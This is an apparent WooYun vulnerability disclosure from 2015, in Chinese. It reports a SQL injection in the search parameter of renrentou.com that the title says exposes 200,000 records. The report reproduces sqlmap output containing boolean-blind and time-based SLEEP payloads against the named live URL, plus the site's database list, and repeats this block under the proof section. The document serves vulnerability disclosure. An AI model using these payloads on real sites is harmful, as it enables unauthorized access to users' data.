当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0125849

漏洞标题：人人投某站存在SQL注入漏洞导致二十万信息泄露

相关厂商：renrentou.com

漏洞作者： 浮萍

提交时间：2015-07-10 09:58

修复时间：2015-08-24 10:00

公开时间：2015-08-24 10:00

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-10： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-08-24： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

SQL注入

详细说明：

主站
http://www.renrentou.com/

Snap33.jpg


搜索处

Snap34.jpg


http://www.renrentou.com/project/list?keyword=*

custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[09:40:36] [INFO] resuming back-end DBMS 'mysql'
[09:40:36] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://www.renrentou.com:80/project/list?keyword=%' AND 7535=7535 A
ND '%'='
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: http://www.renrentou.com:80/project/list?keyword=%' AND SLEEP(5) AN
D '%'='
---
[09:40:37] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11


数据库

available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] renrentou


查看表

Snap32.jpg


300个
account应该存的账号

Snap36.jpg


漏洞证明：

主站
http://www.renrentou.com/

Snap33.jpg


搜索处

Snap34.jpg


http://www.renrentou.com/project/list?keyword=*

custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[09:40:36] [INFO] resuming back-end DBMS 'mysql'
[09:40:36] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://www.renrentou.com:80/project/list?keyword=%' AND 7535=7535 A
ND '%'='
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: http://www.renrentou.com:80/project/list?keyword=%' AND SLEEP(5) AN
D '%'='
---
[09:40:37] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11


数据库

available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] renrentou


查看表

Snap32.jpg


300个
account应该存的账号

Snap36.jpg


修复方案：

版权声明：转载请注明来源 浮萍@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：8 (WooYun评价)

漏洞评价：

评论

  1. 2015-07-13 12:47 | 窝窝哥 ( 实习白帽子 | Rank:86 漏洞数:29 | 没WB啊啊啊啊！)

    不是跟我的一样吧？